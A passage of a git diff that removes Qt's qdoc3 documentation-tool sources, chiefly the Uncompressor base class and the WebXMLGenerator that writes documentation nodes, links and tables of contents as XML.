fullDocumentLocation(parentNode); - } - else - parentName = fullDocumentLocation(node->parent()); - } -#if 0 - if (node->type() == Node::QmlProperty) { - qDebug() << "Node::QmlProperty:" << node->name() - << "parentName:" << parentName; - if (parentNode) - qDebug() << "PARENT NODE" << parentNode->type() - << parentNode->subType() << parentNode->name(); - } -#endif - switch (node->type()) { - case Node::Class: - case Node::Namespace: - if (parentNode && !parentNode->name().isEmpty()) - parentName = parentName.replace(".html", "") + "-" - + node->fileBase().toLower() + ".html"; - else - parentName = node->fileBase() + ".html"; - break; - case Node::Function: - { - /* - Functions can be destructors, overloaded, or - have associated properties. - */ - const FunctionNode *functionNode = - static_cast<const FunctionNode *>(node); - - if (functionNode->metaness() == FunctionNode::Dtor) - anchorRef = "#dtor." + functionNode->name().mid(1); - - else if (functionNode->associatedProperty()) - return fullDocumentLocation(functionNode->associatedProperty()); - - else if (functionNode->overloadNumber() > 1) - anchorRef = "#" + functionNode->name() - + "-" + QString::number(functionNode->overloadNumber()); - else - anchorRef = "#" + functionNode->name(); - } - - /* - Use node->name() instead of node->fileBase() as - the latter returns the name in lower-case. For - HTML anchors, we need to preserve the case. - */ - break; - case Node::Enum: - anchorRef = "#" + node->name() + "-enum"; - break; - case Node::Typedef: - anchorRef = "#" + node->name() + "-typedef"; - break; - case Node::Property: - anchorRef = "#" + node->name() + "-prop"; - break; - case Node::QmlProperty: - anchorRef = "#" + node->name() + "-prop"; - break; - case Node::QmlSignal: - anchorRef = "#" + node->name() + "-signal"; - break; - case Node::QmlMethod: - anchorRef = "#" + node->name() + "-method"; - break; - case Node::Variable: - anchorRef = "#" + node->name() + "-var"; - break; - case Node::Target: - anchorRef = "#" + Doc::canonicalTitle(node->name()); - break; - case Node::Fake: - { - /* - Use node->fileBase() for fake nodes because they are represented - by pages whose file names are lower-case. - */ - parentName = node->fileBase(); - parentName.replace("/", "-").replace(".", "-"); - parentName += ".html"; - } - break; - default: - break; - } - - // Various objects can be compat (deprecated) or obsolete. - if (node->type() != Node::Class && node->type() != Node::Namespace) { - switch (node->status()) { - case Node::Compat: - parentName.replace(".html", "-qt3.html"); - break; - case Node::Obsolete: - parentName.replace(".html", "-obsolete.html"); - break; - default: - ; - } - } - - return parentName.toLower() + anchorRef; -} - -/*! Construct the full document name for \a node and return the name. */ diff --git a/tools/qdoc3/uncompressor.cpp b/tools/qdoc3/uncompressor.cpp deleted file mode 100644 index af80ee9..0000000 --- a/tools/qdoc3/uncompressor.cpp +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - uncompressor.cpp -*/ - -#include "uncompressor.h" - -QT_BEGIN_NAMESPACE - -QList<Uncompressor *> Uncompressor::uncompressors; - - -/*! - \class Uncompressor - - \brief The Uncompressor class is a base class for classes that - know how to uncompress a certain kind of compressed file. - - The uncompressor contains a list of the filename extensions - of the file types that the uncompressor knows how to uncompress. - - It maintains a static list of all the instances of Uncompressor - that have been created. It also has a static function for searching - that list to find the uncompressor to use for uncompressing a file - with a certain extension. - */ - -/*! - The constructor takes a list of filename extensions, which it - copies and saves internally. This uncompressor is prepended - to the stack list. - */ -Uncompressor::Uncompressor( const QStringList& extensions ) - : fileExts( extensions ) -{ - uncompressors.prepend( this ); -} - -/*! - The destructor deletes all the filename extensions. - */ -Uncompressor::~Uncompressor() -{ - uncompressors.removeAll( this ); -} - -/*! - This function searches the static list of uncompressors to find the - first one that can handle \a fileName. If it finds an acceptable - uncompressor, it returns a pointer to it. Otherwise it returns null. -*/ -Uncompressor* -Uncompressor::uncompressorForFileName( const QString& fileName ) -{ - int dot = -1; - while ( (dot = fileName.indexOf(".", dot + 1)) != -1 ) { - QString ext = fileName.mid( dot + 1 ); - QList<Uncompressor *>::ConstIterator u = uncompressors.begin(); - while ( u != uncompressors.end() ) { - if ( (*u)->fileExtensions().contains(ext) ) - return *u; - ++u; - } - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/webxmlgenerator.cpp b/tools/qdoc3/webxmlgenerator.cpp deleted file mode 100644 index c639e50..0000000 --- a/tools/qdoc3/webxmlgenerator.cpp +++ /dev/null @@ -1,1195 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - webxmlgenerator.cpp -*/ - -#include "codemarker.h" -#include "pagegenerator.h" -#include "webxmlgenerator.h" -#include "node.h" -#include "separator.h" -#include "tree.h" - -#include <QtCore/qxmlstream.h> - -QT_BEGIN_NAMESPACE - -#define COMMAND_VERSION Doc::alias("version") - -WebXMLGenerator::WebXMLGenerator() - : PageGenerator() -{ -} - -WebXMLGenerator::~WebXMLGenerator() -{ -} - -void WebXMLGenerator::initializeGenerator(const Config &config) -{ - Generator::initializeGenerator(config); - - project = config.getString(CONFIG_PROJECT); - - projectDescription = config.getString(CONFIG_DESCRIPTION); - if (projectDescription.isEmpty() && !project.isEmpty()) - projectDescription = project + " Reference Documentation"; - - projectUrl = config.getString(CONFIG_URL); - - generateIndex = config.getBool(CONFIG_GENERATEINDEX); -} - -void WebXMLGenerator::terminateGenerator() -{ - PageGenerator::terminateGenerator(); -} - -QString WebXMLGenerator::format() -{ - return "WebXML"; -} - -QString WebXMLGenerator::fileExtension(const Node * /* node */) const -{ - return "xml"; -} - -void WebXMLGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - tre = tree; - moduleClassMap.clear(); - moduleNamespaceMap.clear(); - serviceClasses.clear(); - findAllClasses(tree->root()); - findAllNamespaces(tree->root()); - - PageGenerator::generateTree(tree, marker); - - if (generateIndex) - tre->generateIndex(outputDir() + "/" + project.toLower() + ".index", - projectUrl, projectDescription, false); -} - -void WebXMLGenerator::startText(const Node *relative, CodeMarker *marker) -{ - inLink = false; - inContents = false; - inSectionHeading = false; - numTableRows = 0; - sectionNumber.clear(); - PageGenerator::startText(relative, marker); -} - -int WebXMLGenerator::generateAtom(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker) -{ - Q_UNUSED(writer); - - int skipAhead = 0; - - switch (atom->type()) { - default: - PageGenerator::generateAtom(atom, relative, marker); - } - return skipAhead; -} - -void WebXMLGenerator::generateClassLikeNode(const InnerNode *inner, - CodeMarker *marker) -{ - QByteArray data; - QXmlStreamWriter writer(&data); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("WebXML"); - writer.writeStartElement("document"); - - generateIndexSections(writer, inner, marker); - - writer.writeEndElement(); // document - writer.writeEndElement(); // WebXML - writer.writeEndDocument(); - - out() << data; - out().flush(); -} - -void WebXMLGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) -{ - QByteArray data; - QXmlStreamWriter writer(&data); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("WebXML"); - writer.writeStartElement("document"); - - generateIndexSections(writer, fake, marker); - - writer.writeEndElement(); // document - writer.writeEndElement(); // WebXML - writer.writeEndDocument(); - - out() << data; - out().flush(); -} - -void WebXMLGenerator::generateIndexSections(QXmlStreamWriter &writer, - const Node *node, CodeMarker *marker) -{ - if (tre->generateIndexSection(writer, node, true)) { - - // Add documentation to this node if it exists. - writer.writeStartElement("description"); - writer.writeAttribute("path", node->doc().location().filePath()); - writer.writeAttribute("line", QString::number(node->doc().location().lineNo())); - writer.writeAttribute("column", QString::number(node->doc().location().columnNo())); - - if (node->type() == Node::Fake) { - - const FakeNode *fake = static_cast<const FakeNode *>(node); - - generateRelations(writer, node, marker); - - if (fake->subType() == Node::Module) { - writer.writeStartElement("generatedlist"); - writer.writeAttribute("contents", "classesbymodule"); - - if (moduleNamespaceMap.contains(fake->name())) { - writer.writeStartElement("section"); - writer.writeStartElement("heading"); - writer.writeAttribute("level", "1"); - writer.writeCharacters("Namespaces"); - writer.writeEndElement(); // heading - generateAnnotatedList(writer, fake, marker, moduleNamespaceMap[fake->name()]); - writer.writeEndElement(); // section - } - if (moduleClassMap.contains(fake->name())) { - writer.writeStartElement("section"); - writer.writeStartElement("heading"); - writer.writeAttribute("level", "1"); - writer.writeCharacters("Classes"); - writer.writeEndElement(); // heading - generateAnnotatedList(writer, fake, marker, moduleClassMap[fake->name()]); - writer.writeEndElement(); // section - } - - writer.writeEndElement(); // generatedlist - } - } - - startText(node, marker); - - const Atom *atom = node->doc().body().firstAtom(); - while (atom) - atom = addAtomElements(writer, atom, node, marker); - - QList<Text> alsoList = node->doc().alsoList(); - supplementAlsoList(node, alsoList); - - if (!alsoList.isEmpty()) { - writer.writeStartElement("see-also"); - for (int i = 0; i < alsoList.size(); ++i) { - const Atom *atom = alsoList.at(i).firstAtom(); - while (atom) - atom = addAtomElements(writer, atom, node, marker); - } - writer.writeEndElement(); // see-also - } - - writer.writeEndElement(); // description - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast<const InnerNode *>(node); - - // Recurse to generate an element for this child node and all its children. - foreach (const Node *child, inner->childNodes()) - generateIndexSections(writer, child, marker); - - writer.writeStartElement("related"); - if (inner->relatedNodes().size() > 0) { - foreach (const Node *child, inner->relatedNodes()) - generateIndexSections(writer, child, marker); - } - writer.writeEndElement(); // related - } - writer.writeEndElement(); - } -} - -void WebXMLGenerator::generateInnerNode(const InnerNode *node, CodeMarker *marker) -{ - if (!node->url().isNull()) - return; - - if (node->type() == Node::Fake) { - const FakeNode *fakeNode = static_cast<const FakeNode *>(node); - if (fakeNode->subType() == Node::ExternalPage) - return; - } - - if ( node->parent() != 0 ) { - beginSubPage( node->location(), fileName(node) ); - if ( node->type() == Node::Namespace || node->type() == Node::Class) { - generateClassLikeNode(node, marker); - } else if ( node->type() == Node::Fake ) { - generateFakeNode(static_cast<const FakeNode *>(node), marker); - } - endSubPage(); - } - - NodeList::ConstIterator c = node->childNodes().begin(); - while ( c != node->childNodes().end() ) { - if ((*c)->isInnerNode() && ( - (*c)->access() != Node::Private || (*c)->status() == Node::Internal)) - generateInnerNode( (const InnerNode *) *c, marker ); - ++c; - } -} - -const Atom *WebXMLGenerator::addAtomElements(QXmlStreamWriter &writer, - const Atom *atom, const Node *relative, CodeMarker *marker) -{ - switch (atom->type()) { - case Atom::AbstractLeft: - case Atom::AbstractRight: - break; - case Atom::AutoLink: - if (!inLink && !inSectionHeading) { - const Node *node = findNode(atom, relative, marker); - if (node) { - startLink(writer, atom, node, relative); - if (inLink) { - writer.writeCharacters(atom->string()); - writer.writeEndElement(); // link - inLink = false; - } - } else - writer.writeCharacters(atom->string()); - } else - writer.writeCharacters(atom->string()); - break; - case Atom::BaseName: - break; - case Atom::BriefLeft: - - writer.writeStartElement("brief"); - switch (relative->type()) { - case Node::Property: - writer.writeCharacters("This property"); - break; - case Node::Variable: - writer.writeCharacters("This variable"); - break; - default: - break; - } - if (relative->type() == Node::Property || relative->type() == Node::Variable) { - QString str; - const Atom *a = atom->next(); - while (a != 0 && a->type() != Atom::BriefRight) { - if (a->type() == Atom::String || a->type() == Atom::AutoLink) - str += a->string(); - a = a->next(); - } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.chop(1); - - QStringList words = str.split(" "); - if (!(words.first() == "contains" || words.first() == "specifies" - || words.first() == "describes" || words.first() == "defines" - || words.first() == "holds" || words.first() == "determines")) - writer.writeCharacters(" holds "); - else - writer.writeCharacters(" "); - } - break; - - case Atom::BriefRight: - if (relative->type() == Node::Property || relative->type() == Node::Variable) - writer.writeCharacters("."); - - writer.writeEndElement(); // brief - break; - - case Atom::C: - writer.writeStartElement("teletype"); - if (inLink) - writer.writeAttribute("type", "normal"); - else - writer.writeAttribute("type", "highlighted"); - - writer.writeCharacters(plainCode(atom->string())); - writer.writeEndElement(); // teletype - break; - - case Atom::Code: - writer.writeTextElement("code", trimmedTrailing(plainCode(atom->string()))); - break; - -#ifdef QDOC_QML - case Atom::Qml: - writer.writeTextElement("qml", trimmedTrailing(plainCode(atom->string()))); -#endif - - case Atom::CodeBad: - writer.writeTextElement("badcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeNew: - writer.writeTextElement("para", "you can rewrite it as"); - writer.writeTextElement("newcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeOld: - writer.writeTextElement("para", "For example, if you have code like"); - writer.writeTextElement("oldcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeQuoteArgument: - if (quoteCommand == "dots") { - writer.writeAttribute("indent", atom->string()); - writer.writeCharacters("..."); - } else - writer.writeCharacters(atom->string()); - writer.writeEndElement(); // code - break; - - case Atom::CodeQuoteCommand: - quoteCommand = atom->string(); - writer.writeStartElement(quoteCommand); - break; - - case Atom::FootnoteLeft: - writer.writeStartElement("footnote"); - break; - - case Atom::FootnoteRight: - writer.writeEndElement(); // footnote - break; -/* - case Atom::FormatElse: - writer.writeStartElement("else"); - writer.writeEndElement(); // else - break; -*/ - case Atom::FormatEndif: - writer.writeEndElement(); // raw - break; - case Atom::FormatIf: - writer.writeStartElement("raw"); - writer.writeAttribute("format", atom->string()); - break; - case Atom::FormattingLeft: - { - if (atom->string() == ATOM_FORMATTING_BOLD) - writer.writeStartElement("bold"); - else if (atom->string() == ATOM_FORMATTING_ITALIC) - writer.writeStartElement("italic"); - else if (atom->string() == ATOM_FORMATTING_UNDERLINE) - writer.writeStartElement("underline"); - else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT) - writer.writeStartElement("subscript"); - else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT) - writer.writeStartElement("superscript"); - else if (atom->string() == ATOM_FORMATTING_TELETYPE) - writer.writeStartElement("teletype"); - else if (atom->string() == ATOM_FORMATTING_PARAMETER) - writer.writeStartElement("argument"); - else if (atom->string() == ATOM_FORMATTING_INDEX) - writer.writeStartElement("index"); - } - break; -/* out() << formattingLeftMap()[atom->string()]; - if ( atom->string() == ATOM_FORMATTING_PARAMETER ) { - if ( atom->next() != 0 && atom->next()->type() == Atom::String ) { - QRegExp subscriptRegExp( "([a-z]+)_([0-9n])" ); - if ( subscriptRegExp.exactMatch(atom->next()->string()) ) { - out() << subscriptRegExp.cap( 1 ) << "<sub>" - << subscriptRegExp.cap( 2 ) << "</sub>"; - skipAhead = 1; - } - } - }*/ - case Atom::FormattingRight: - { - if (atom->string() == ATOM_FORMATTING_BOLD) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_ITALIC) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_UNDERLINE) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_TELETYPE) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_PARAMETER) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_INDEX) - writer.writeEndElement(); - } - if (inLink) { - writer.writeEndElement(); // link - inLink = false; - } - break; -/* if ( atom->string() == ATOM_FORMATTING_LINK ) { - if (inLink) { - if ( link.isEmpty() ) { - if (showBrokenLinks) - out() << "</i>"; - } else { - out() << "</a>"; - } - } - inLink = false; - } else { - out() << formattingRightMap()[atom->string()]; - }*/ - case Atom::GeneratedList: - writer.writeStartElement("generatedlist"); - writer.writeAttribute("contents", atom->string()); - writer.writeEndElement(); // generatedlist -/* - if (atom->string() == "annotatedclasses") { - generateAnnotatedList(relative, marker, nonCompatClasses); - } else if (atom->string() == "classes") { - generateCompactList(relative, marker, nonCompatClasses); - } else if (atom->string().contains("classesbymodule")) { - QString arg = atom->string().trimmed(); - QString moduleName = atom->string().mid(atom->string().indexOf( - "classesbymodule") + 15).trimmed(); - if (moduleClassMap.contains(moduleName)) - generateAnnotatedList(relative, marker, moduleClassMap[moduleName]); - } else if (atom->string().contains("classesbyedition")) { - QString arg = atom->string().trimmed(); - QString editionName = atom->string().mid(atom->string().indexOf( - "classesbyedition") + 16).trimmed(); - if (editionModuleMap.contains(editionName)) { - QMap<QString, const Node *> editionClasses; - foreach (const QString &moduleName, editionModuleMap[editionName]) { - if (moduleClassMap.contains(moduleName)) - editionClasses.unite(moduleClassMap[moduleName]); - } - generateAnnotatedList(relative, marker, editionClasses); - } - } else if (atom->string() == "classhierarchy") { - generateClassHierarchy(relative, marker, nonCompatClasses); - } else if (atom->string() == "compatclasses") { - generateCompactList(relative, marker, compatClasses); - } else if (atom->string() == "functionindex") { - generateFunctionIndex(relative, marker); - } else if (atom->string() == "legalese") { - generateLegaleseList(relative, marker); - } else if (atom->string() == "mainclasses") { - generateCompactList(relative, marker, mainClasses); - } else if (atom->string() == "services") { - generateCompactList(relative, marker, serviceClasses); - } else if (atom->string() == "overviews") { - generateOverviewList(relative, marker); - } else if (atom->string() == "namespaces") { - generateAnnotatedList(relative, marker, namespaceIndex); - } else if (atom->string() == "related") { - const FakeNode *fake = static_cast<const FakeNode *>(relative); - if (fake && !fake->groupMembers().isEmpty()) { - QMap<QString, const Node *> groupMembersMap; - foreach (Node *node, fake->groupMembers()) { - if (node->type() == Node::Fake) - groupMembersMap[fullName(node, relative, marker)] = node; - } - generateAnnotatedList(fake, marker, groupMembersMap); - } - } else if (atom->string() == "relatedinline") { - const FakeNode *fake = static_cast<const FakeNode *>(relative); - if (fake && !fake->groupMembers().isEmpty()) { - // Reverse the list into the original scan order. - // Should be sorted. But on what? It may not be a - // regular class or page definition. - QList<const Node *> list; - foreach (const Node *node, fake->groupMembers()) - list.prepend(node); - foreach (const Node *node, list) - generateBody(node, marker ); - } - } - break; -*/ - break; - case Atom::Image: - writer.writeStartElement("image"); - writer.writeAttribute("href", imageFileName(relative, atom->string())); - writer.writeEndElement(); // image - break; - - case Atom::InlineImage: - writer.writeStartElement("inlineimage"); - writer.writeAttribute("href", imageFileName(relative, atom->string())); - writer.writeEndElement(); // inlineimage - break; - - case Atom::ImageText: - break; - - case Atom::LegaleseLeft: - writer.writeStartElement("legalese"); - break; - - case Atom::LegaleseRight: - writer.writeEndElement(); // legalese - break; - - case Atom::Link: - case Atom::LinkNode: - if (!inLink) { - const Node *node = findNode(atom, relative, marker); - if (node) - startLink(writer, atom, node, relative); - } - break; - - case Atom::ListLeft: - writer.writeStartElement("list"); - - if (atom->string() == ATOM_LIST_BULLET) - writer.writeAttribute("type", "bullet"); - else if (atom->string() == ATOM_LIST_TAG) - writer.writeAttribute("type", "definition"); - else if (atom->string() == ATOM_LIST_VALUE) - writer.writeAttribute("type", "enum"); - else { - writer.writeAttribute("type", "ordered"); - if (atom->string() == ATOM_LIST_UPPERALPHA) - writer.writeAttribute("start", "A"); - else if (atom->string() == ATOM_LIST_LOWERALPHA) - writer.writeAttribute("start", "a"); - else if (atom->string() == ATOM_LIST_UPPERROMAN) - writer.writeAttribute("start", "I"); - else if (atom->string() == ATOM_LIST_LOWERROMAN) - writer.writeAttribute("start", "i"); - else // (atom->string() == ATOM_LIST_NUMERIC) - writer.writeAttribute("start", "1"); - } - break; - - case Atom::ListItemNumber: - break; - - case Atom::ListTagLeft: - { - writer.writeStartElement("definition"); - - writer.writeTextElement("term", plainCode( - marker->markedUpEnumValue(atom->next()->string(), relative))); - } - break; - - case Atom::ListTagRight: - writer.writeEndElement(); // definition - break; - - case Atom::ListItemLeft: - writer.writeStartElement("item"); - break; - - case Atom::ListItemRight: - writer.writeEndElement(); // item - break; - - case Atom::ListRight: - writer.writeEndElement(); // list - break; - - case Atom::Nop: - break; - - case Atom::ParaLeft: - writer.writeStartElement("para"); - break; - - case Atom::ParaRight: - writer.writeEndElement(); // para - break; - - case Atom::QuotationLeft: - writer.writeStartElement("quote"); - break; - - case Atom::QuotationRight: - writer.writeEndElement(); // quote - break; - - case Atom::RawString: - writer.writeCharacters(atom->string()); - break; - - case Atom::SectionLeft: - writer.writeStartElement("section"); - writer.writeAttribute("id", Doc::canonicalTitle(Text::sectionHeading(atom).toString())); - break; - - case Atom::SectionRight: - writer.writeEndElement(); // section - break; - - case Atom::SectionHeadingLeft: - writer.writeStartElement("heading"); - writer.writeAttribute("level", atom->string()); // + hOffset(relative) - inSectionHeading = true; - break; - - case Atom::SectionHeadingRight: - writer.writeEndElement(); // heading - inSectionHeading = false; - break; - - case Atom::SidebarLeft: - case Atom::SidebarRight: - break; - - case Atom::SnippetCommand: - writer.writeStartElement(atom->string()); - break; - - case Atom::SnippetIdentifier: - writer.writeAttribute("identifier", atom->string()); - writer.writeEndElement(); // snippet - break; - - case Atom::SnippetLocation: - writer.writeAttribute("location", atom->string()); - break; - - case Atom::String: - writer.writeCharacters(atom->string()); - break; - - case Atom::TableLeft: - writer.writeStartElement("table"); - if (atom->string().contains("%")) - writer.writeAttribute("width", atom->string()); - break; - - case Atom::TableRight: - writer.writeEndElement(); // table - break; - - case Atom::TableHeaderLeft: - writer.writeStartElement("header"); - break; - - case Atom::TableHeaderRight: - writer.writeEndElement(); // header - break; - - case Atom::TableRowLeft: - writer.writeStartElement("row"); - break; - - case Atom::TableRowRight: - writer.writeEndElement(); // row - break; - - case Atom::TableItemLeft: - { - writer.writeStartElement("item"); - QStringList spans = atom->string().split(","); - if (spans.size() == 2) { - if (spans.at(0) != "1") - writer.writeAttribute("colspan", spans.at(0).trimmed()); - if (spans.at(1) != "1") - writer.writeAttribute("rowspan", spans.at(1).trimmed()); - } - } - break; - - case Atom::TableItemRight: - writer.writeEndElement(); // item - break; - - case Atom::TableOfContents: - writer.writeStartElement("tableofcontents"); - writer.writeAttribute("details", atom->string()); - { - int numColumns = 1; - const Node *node = relative; - - Doc::SectioningUnit sectioningUnit = Doc::Section4; - QStringList params = atom->string().split(","); - QString columnText = params.at(0); - QStringList pieces = columnText.split(" ", QString::SkipEmptyParts); - if (pieces.size() >= 2) { - columnText = pieces.at(0); - pieces.pop_front(); - QString path = pieces.join(" ").trimmed(); - node = findNode(path, relative, marker); - if (node) - writer.writeAttribute("href", fileName(node)); - } - - if (params.size() == 2) { - numColumns = qMax(columnText.toInt(), numColumns); - sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt(); - writer.writeAttribute("columns", QString::number(numColumns)); - writer.writeAttribute("unit", QString::number(sectioningUnit)); - } - - if (node) - generateTableOfContents(writer, node, sectioningUnit, numColumns, - relative); - } - writer.writeEndElement(); // tableofcontents - break; - - case Atom::Target: - writer.writeStartElement("target"); - writer.writeAttribute("name", Doc::canonicalTitle(atom->string())); - writer.writeEndElement(); // target - break; - - case Atom::UnhandledFormat: - case Atom::UnknownCommand: - writer.writeCharacters(atom->typeString()); - break; - default: - break; - } - - if (atom) - return atom->next(); - - return 0; -} -/* - QDomElement atomElement = document.createElement(atom->typeString().toLower()); - QDomText atomValue = document.createTextNode(atom->string()); - atomElement.appendChild(atomValue); - descriptionElement.appendChild(atomElement); -*/ - -/* - ### Warning: findNode() is a modified version of HtmlGenerator::getLink(). -*/ -const Node *WebXMLGenerator::findNode(const Atom *atom, const Node *relative, CodeMarker *marker) -{ - return findNode(atom->string(), relative, marker); -} - -const Node *WebXMLGenerator::findNode(const QString &title, const Node *relative, CodeMarker *marker) -{ - QString link; - if (title.contains(":") && - (title.startsWith("file:") - || title.startsWith("http:") - || title.startsWith("https:") - || title.startsWith("ftp:") - || title.startsWith("mailto:"))) { - - return 0; - } else if (title.count('@') == 1) { - return 0; - } else { - QStringList path; - if (title.contains('#')) { - path = title.split('#'); - } else { - path.append(title); - } - - const Node *node = 0; - Atom *targetAtom = 0; - - QString first = path.first().trimmed(); - if (first.isEmpty()) { - node = relative; - } else if (first.endsWith(".html")) { - node = tre->root()->findNode(first, Node::Fake); - } else { - node = marker->resolveTarget(first, tre, relative); - if (!node) - node = tre->findFakeNodeByTitle(first); - if (!node) - node = tre->findUnambiguousTarget(first, targetAtom); - } - - if (node) { - if (!node->url().isEmpty()) - return node; - else - path.removeFirst(); - } else { - return 0; - } - - while (!path.isEmpty()) { - targetAtom = tre->findTarget(path.first(), node); - if (targetAtom == 0) - break; - path.removeFirst(); - } -/* We would ideally treat targets as nodes to be consistent. - if (targetAtom && node && node->isInnerNode()) { - Node *parentNode = const_cast<Node *>(node); - node = new TargetNode(static_cast<InnerNode*>(parentNode), first); - } -*/ - return node; - } - return 0; -} - -void WebXMLGenerator::startLink(QXmlStreamWriter &writer, const Atom *atom, - const Node *node, const Node *relative) -{ - QString location = tre->fullDocumentLocation(node); - if (!location.isEmpty()) { - writer.writeStartElement("link"); - writer.writeAttribute("raw", atom->string()); - if (atom->string().contains("#") || node == relative) { - QString target = atom->string().split("#").last(); - Atom *targetAtom = tre->findTarget(target, node); - if (targetAtom) - location += "#" + Doc::canonicalTitle(target); - } - writer.writeAttribute("href", location); - QString type = targetType(node); - writer.writeAttribute("type", type); - switch (node->type()) { - case Node::Enum: - writer.writeAttribute("enum", tre->fullDocumentName(node)); - break; - case Node::Fake: - writer.writeAttribute("page", tre->fullDocumentName(node)); - break; - case Node::Property: - { - const PropertyNode *propertyNode = static_cast<const PropertyNode *>(node); - if (propertyNode->getters().size() > 0) - writer.writeAttribute("getter", tre->fullDocumentName(propertyNode->getters()[0])); - } - default: - ; - } - inLink = true; - } -} - -QString WebXMLGenerator::targetType(const Node *node) -{ - switch (node->type()) { - case Node::Namespace: - return "namespace"; - break; - case Node::Class: - return "class"; - break; - case Node::Fake: - return "page"; - break; - case Node::Enum: - return "enum"; - break; - case Node::Typedef: - return "typedef"; - break; - case Node::Property: - return "property"; - break; - case Node::Function: - return "function"; - break; - case Node::Variable: - return "variable"; - break; - case Node::Target: - return "target"; - break; - default: - return ""; - } - return ""; -} - -void WebXMLGenerator::generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker) -{ - if (node && !node->links().empty()) { - QPair<QString,QString> linkPair; - QPair<QString,QString> anchorPair; - const Node *linkNode; - - foreach (Node::LinkType relation, node->links().keys()) { - - linkPair = node->links()[relation]; - linkNode = findNode(linkPair.first, node, marker); - - if (!linkNode) - linkNode = node; - - if (linkNode == node) - anchorPair = linkPair; - else - anchorPair = anchorForNode(linkNode); - - writer.writeStartElement("relation"); - writer.writeAttribute("href", anchorPair.first); - writer.writeAttribute("type", targetType(linkNode)); - - switch (relation) { - case Node::StartLink: - writer.writeAttribute("meta", "start"); - break; - case Node::NextLink: - writer.writeAttribute("meta", "next"); - break; - case Node::PreviousLink: - writer.writeAttribute("meta", "previous"); - break; - case Node::ContentsLink: - writer.writeAttribute("meta", "contents"); - break; - case Node::IndexLink: - writer.writeAttribute("meta", "index"); - break; - default: - writer.writeAttribute("meta", ""); - } - writer.writeAttribute("description", anchorPair.second); - writer.writeEndElement(); // link - } - } -} - -// Classes adapted from HtmlGenerator. - -void WebXMLGenerator::generateTableOfContents(QXmlStreamWriter &writer, const Node *node, - Doc::SectioningUnit sectioningUnit, - int numColumns, const Node *relative) - -{ - if (!node->doc().hasTableOfContents()) - return; - QList<Atom *> toc = node->doc().tableOfContents(); - if (toc.isEmpty()) - return; - - QString nodeName = ""; - if (node != relative) - nodeName = node->name(); - - QStringList sectionNumber; - int columnSize = 0; - - if (numColumns > 1) { - writer.writeStartElement("table"); - writer.writeAttribute("width", "100%"); - writer.writeStartElement("row"); - writer.writeStartElement("item"); - writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%"); - } - - // disable nested links in table of contents - inContents = true; - inLink = true; - - for (int i = 0; i < toc.size(); ++i) { - Atom *atom = toc.at(i); - - int nextLevel = atom->string().toInt(); - if (nextLevel > (int)sectioningUnit) - continue; - - if (sectionNumber.size() < nextLevel) { - do { - writer.writeStartElement("list"); - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } else { - while (sectionNumber.size() > nextLevel) { - writer.writeEndElement(); - sectionNumber.removeLast(); - } - sectionNumber.last() = 